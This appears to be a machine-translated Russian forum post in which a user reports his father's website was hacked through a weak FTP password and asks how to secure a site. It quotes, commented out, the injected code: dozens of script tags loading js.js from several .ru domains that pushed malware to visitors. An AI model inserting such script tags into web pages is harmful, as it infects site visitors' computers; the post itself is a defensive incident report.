Мой папа позвонил мне сегодня и сказал, что люди, отправляющиеся на его сайт, получают 168 вирусов, пытающихся загрузить их на свои компьютеры. Он вообще не технический, и создал все это с помощью редактора WYSIWYG.
Я открыл свой сайт и просмотрел исходный код, и была строка Javascript в нижней части источника прямо перед закрывающим тегом HTML. Они включали этот файл (среди многих других): http://www.98hs.ru/js.js < - ВЫКЛЮЧИТЬ JAVASCRIPT ДО ТОГО, ЧТО ВЫ ИДИТЕ ЭТОТ URL.
Итак, я прокомментировал это сейчас. Оказывается, его FTP-пароль был простым словом словаря длиной шесть букв, поэтому мы думаем, что он взломан. Мы изменили его пароль на 8-значную строку без слова (он не пошел бы за фразу, так как он является типом hunt-n-peck).
Я сделал whois на 98hs.ru и нашел, что он размещен на сервере в Чили. На самом деле есть связанный с ним адрес электронной почты, но я серьезно сомневаюсь, что этот человек является виновником. Вероятно, просто какой-то другой сайт, который был взломан...
Я понятия не имею, что делать в этот момент, хотя я никогда раньше не занимался этим. У кого-нибудь есть предложения?
Он использовал простой jane un-secure ftp через webhost4life.com. Я даже не вижу способа сделать sftp на своем сайте. Я думаю, что его имя пользователя и пароль были перехвачены?
Итак, чтобы сделать это более релевантным для сообщества, каковы шаги, которые вы должны предпринять/лучшие практики, которым вы должны следовать, чтобы защитить ваш сайт от взлома?
Для записи, вот строка кода, которая "волшебным образом" добавлена в его файл (и не находится в его файле на его компьютере), я оставил его закомментированным, чтобы убедиться, что он выиграл ' ничего не делаю на этой странице, хотя я уверен, что Джефф защитит это):
<!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script-->